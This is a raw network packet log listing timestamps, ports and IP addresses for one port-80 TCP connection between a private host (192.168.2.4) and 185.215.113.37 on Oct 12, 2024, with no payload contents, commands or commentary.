Oct 12, 2024 13:17:30.525418997 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.525454044 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.525454044 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.525473118 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.525501966 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.525507927 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.525562048 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.525563002 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.525598049 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.525631905 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.525645018 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.525645018 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.525671959 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.525671005 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.525706053 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.525739908 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.525773048 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.525779963 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.525779963 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.525806904 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.525840044 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.525851011 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.525851011 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.525873899 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.525904894 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.525923967 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.525923967 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.525942087 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.525947094 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.525978088 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.526011944 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.526022911 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.526022911 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.526046991 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.526078939 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.526079893 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.526092052 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.526113987 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.526140928 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.526148081 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.526182890 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.526199102 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.526199102 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.526226044 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.526233912 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.526262045 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.526273012 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.526295900 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.526333094 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.526338100 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.526338100 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.526367903 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.526406050 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.526410103 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.526410103 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.526437998 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.526443005 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.526472092 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.526504993 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.526518106 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.526518106 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.526540041 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.526567936 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.526576042 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.526602983 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.526608944 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.526643991 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.526652098 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.526652098 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.526679993 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.526684999 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.526846886 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.543113947 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.543181896 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.543200016 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.543215036 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.543232918 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.543263912 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.543298006 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.543298960 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.543298006 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.543334961 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.543343067 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.543343067 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.543370008 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.543390036 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.543473959 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.543509007 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.543520927 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.543520927 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.543544054 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.543577909 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.543591022 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.543591022 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.543612957 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.543646097 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.543664932 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.543664932 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.543683052 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.543720961 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.543730021 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.543730021 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.543756008 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.543775082 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.543790102 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.543823957 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.543838024 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.543838024 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.543859005 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.543878078 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.543895960 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.543930054 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.543942928 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.543942928 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.543963909 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.543998957 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.544011116 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.544011116 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.544032097 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.544066906 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.544080019 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.544080019 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.544099092 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.544120073 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.544135094 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.544167042 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.544181108 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.544181108 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.544203043 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.544228077 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.544235945 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.544270992 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.544282913 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.544282913 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.544305086 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.544339895 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.544353962 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.544353962 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.544373989 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.544408083 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.544420004 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.544420004 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.544440985 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.544475079 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.544487000 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.544487000 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.544511080 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.544543028 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.544545889 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.544555902 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.544580936 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.544629097 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.544629097 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.589931965 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.589982986 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.590018034 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.590018988 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.590018988 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.590053082 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.590086937 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.590120077 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.590152979 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.590152979 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.590154886 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.590188980 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.590202093 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.590202093 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.590224028 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.590253115 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.590269089 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.590269089 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.590287924 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.590322018 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.590334892 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.590334892 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.590356112 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.590380907 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.590389967 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.590426922 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.590428114 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.590444088 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.590465069 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.590497971 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.590512037 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.590512037 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.590554953 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.590588093 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.590610981 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.590610981 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.590640068 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.590683937 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.590683937 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.590692997 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.590728998 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.590778112 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.590778112 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.590780973 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.590816975 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.590837002 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.590869904 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.590876102 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.590930939 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.590964079 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.590981960 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.590981960 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.590997934 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.591031075 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.591049910 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.591049910 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.591065884 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.591099024 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.591109991 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.591109991 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.591133118 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.591157913 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.591172934 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.591192961 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.591207981 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.591231108 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.591243982 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.591278076 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.591291904 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.591291904 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.591310024 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.591355085 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.591355085 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.619559050 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.619631052 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.619642019 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.619669914 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.619709969 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.619709969 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.619724989 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.619781971 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.619824886 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.619824886 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.619834900 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.619888067 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.619904041 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.619940042 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.619973898 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.619980097 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.619980097 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.620007992 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.620043039 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.620055914 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.620055914 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.620100975 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.620141029 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.620141029 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.620151997 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.620203972 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.620238066 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.620249033 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.620249033 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.620271921 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.620311022 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.620313883 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.620313883 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.620345116 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.620379925 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.620388031 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.620388031 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.620413065 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.620425940 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.620448112 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.620481014 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.620488882 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.620488882 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.620515108 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.620542049 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.620548964 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.620584965 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.620589972 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.620589972 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.620618105 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.620654106 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.620660067 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.620660067 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.620691061 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.620698929 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.620728970 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.620757103 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.620759964 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.620794058 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.620804071 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.620804071 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.620830059 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.620862961 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.620874882 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.620874882 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.620898008 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.620910883 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.620933056 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.620950937 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.620968103 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.621011972 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.621011972 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.651452065 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.651515007 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.651560068 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.651560068 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.651571989 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.651622057 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.651624918 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.651679039 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.651681900 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.651734114 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.651743889 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.651768923 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.651813030 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.651813030 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.651822090 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.651865959 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.651878119 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.651930094 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.651952028 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.651966095 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.651998043 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.652018070 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.652025938 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.652075052 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.652090073 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.652127028 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.652160883 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.652179003 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.652179003 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.652209044 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.652214050 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.652280092 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.652287960 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.652313948 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.652348042 CEST	80	49730	185.215.113.37	192.168.2.4
